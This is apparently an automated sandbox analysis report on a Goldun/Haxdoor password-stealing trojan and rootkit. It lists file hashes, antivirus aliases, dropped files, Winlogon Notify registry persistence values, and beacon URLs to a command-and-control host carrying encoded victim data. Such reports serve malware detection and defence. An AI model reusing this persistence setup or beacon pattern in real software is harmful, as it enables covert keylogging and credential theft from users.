Submission Summary:

• Submission details:
• Submission received: 12 November 2008, 17:07:41
• Processing time: 11 min 7 sec
• Submitted sample:
• File MD5: 0xBF23B74C51673B6958AA2FFEECA36D1C
• File SHA-1: 0xAF6AE6B92BCE089288EC380D447157EA356918C7
• Filesize: 34,442 bytes
• Alias:
• Trojan-Spy.Goldun [PCTools]
• Trojan Horse [Symantec]
• Trojan-Dropper.Win32.Agent.yzp [Kaspersky Lab]
• Generic Spy.e [McAfee]
• Troj/Agent-IDO [Sophos]
• Backdoor:Win32/Haxdoor [Microsoft]
• Backdoor.Win32.Haxdoor [Ikarus]

• Summary of the findings:

What's been found	Severity Level
Downloads/requests other files from Internet.
Registers a Winlogon notification package so that the installed module is loaded into the address space of winlogon.exe.
Contains characteristics of an identified security risk.

Technical Details:

Possible Security Risk

• Attention! Characteristics of the following security risks were identified in the system:

Security Risk	Description
Trojan-Spy.Goldun	Trojan-Spy.Goldun is a trojan that attempts to steal passwords, login details and other confidential information.
Trojan-Spy.Goldun.NDU	Trojan.Goldun.NDU is a rootkit program that steals personal identity and sends data to a remote server.
Rootkit.Small!sd6	Rootkit.Small!sd6 is a threat that relies on rootkit-specific techniques in order to hide its presence in the system.

• Attention! The following threat categories were identified:

Threat Category	Description
	A keylogger program that can capture all user keystrokes (including confidential details such username, password, credit card number, etc.)
	A malicious trojan horse or bot that may represent security risk for the compromised system and/or its network environment
	A code with the rootkit-specific techniques designed to hide the software presence in the system

File System Modifications

• The following files were created in the system:

#	Filename(s)	File Size	File Hash	Alias
1	%System%\gzipmod.dll	20,110 bytes	MD5: 0xC15E8DE7AC14B0929153D0B573543529 SHA-1: 0x551500895437C3E3A4C219EDE67242C2D99ECD8D	Trojan-Spy.Goldun [PCTools] Infostealer [Symantec] Trojan-PSW.Win32.Agent.lct [Kaspersky Lab] Generic.dx [McAfee] Mal/TinyDL-T [Sophos] Trojan-Spy.Goldun.NDC [Ikarus] packed with PE_Patch.UPX [Kaspersky Lab]
2	%System%\k86.bin	0 bytes	MD5: 0xD41D8CD98F00B204E9800998ECF8427E SHA-1: 0xDA39A3EE5E6B4B0D3255BFEF95601890AFD80709	(not available)
3	[file and pathname of the sample #1]	34,442 bytes	MD5: 0xBF23B74C51673B6958AA2FFEECA36D1C SHA-1: 0xAF6AE6B92BCE089288EC380D447157EA356918C7	Trojan-Spy.Goldun [PCTools] Trojan Horse [Symantec] Trojan-Dropper.Win32.Agent.yzp [Kaspersky Lab] Generic Spy.e [McAfee] Troj/Agent-IDO [Sophos] Backdoor:Win32/Haxdoor [Microsoft] Backdoor.Win32.Haxdoor [Ikarus]
4	%System%\vbagz.sys	7,072 bytes	MD5: 0xE71071455BFCDDD7D0C1548BC730C11D SHA-1: 0x2F985CB91E1EFD33C732814876FF9708398EEEB2	Rootkit.Small!sd6 [PCTools] Rootkit.Win32.Small.bs [Kaspersky Lab] Mal/Generic-A [Sophos] Backdoor:Win32/Haxdoor [Microsoft] Win32.SuspectCrc [Ikarus]

• Note:
• %System% is a variable that refers to the System folder. By default, this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

• The following directory was created:
• %Temp%\dsetup___

• Notes:
• %Temp% is a variable that refers to the temporary folder in the short path form. By default, this is C:\Documents and Settings\[UserName]\Local Settings\Temp\ (Windows NT/2000/XP).

Memory Modifications

• There was a new process created in the system:

Registry Modifications

• The following Registry Key was created:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\gzipmod

• The newly created Registry Values are:
• [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache]
• Persistent = 0x00000000
• [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\gzipmod]
• DllName = "gzipmod.dll"
• Startup = "gzipmod"
• Impersonate = 0x00000001
• Asynchronous = 0x00000001
• MaxWait = 0x00000001
• adr9i = "[46C9E17DCCB0033DD]"

so that gzipmod.dll is installed as a Winlogon notification package

Other details

• The following Host Name was requested from a host database:
• sergej-grienko.com

• The following HTTP URLs were started reading:
• http://sergej-grienko.com/ie-bolt2/data.ph p?trackid=706172616D3D636D64266C616E673D454E552669 643D34353637267368656C6C3D3026736F636B73706F72743D 30267665723D392668747470706F72743D3026757074696D65 6D3D3426757074696D65683D30267569643D5B343643394531..
• http://sergej-grienko.com/ie-bolt2/data.ph p?trackid=706172616D3D636D64266C616E673D454E552669 643D34353637267368656C6C3D3026736F636B73706F72743D 30267665723D392668747470706F72743D3026757074696D65 6D3D3526757074696D65683D30267569643D5B343643394531..
• http://sergej-grienko.com/ie-bolt2/data.ph p?trackid=706172616D3D636D64266C616E673D454E552669 643D34353637267368656C6C3D3026736F636B73706F72743D 30267665723D392668747470706F72743D3026757074696D65 6D3D3626757074696D65683D30267569643D5B343643394531..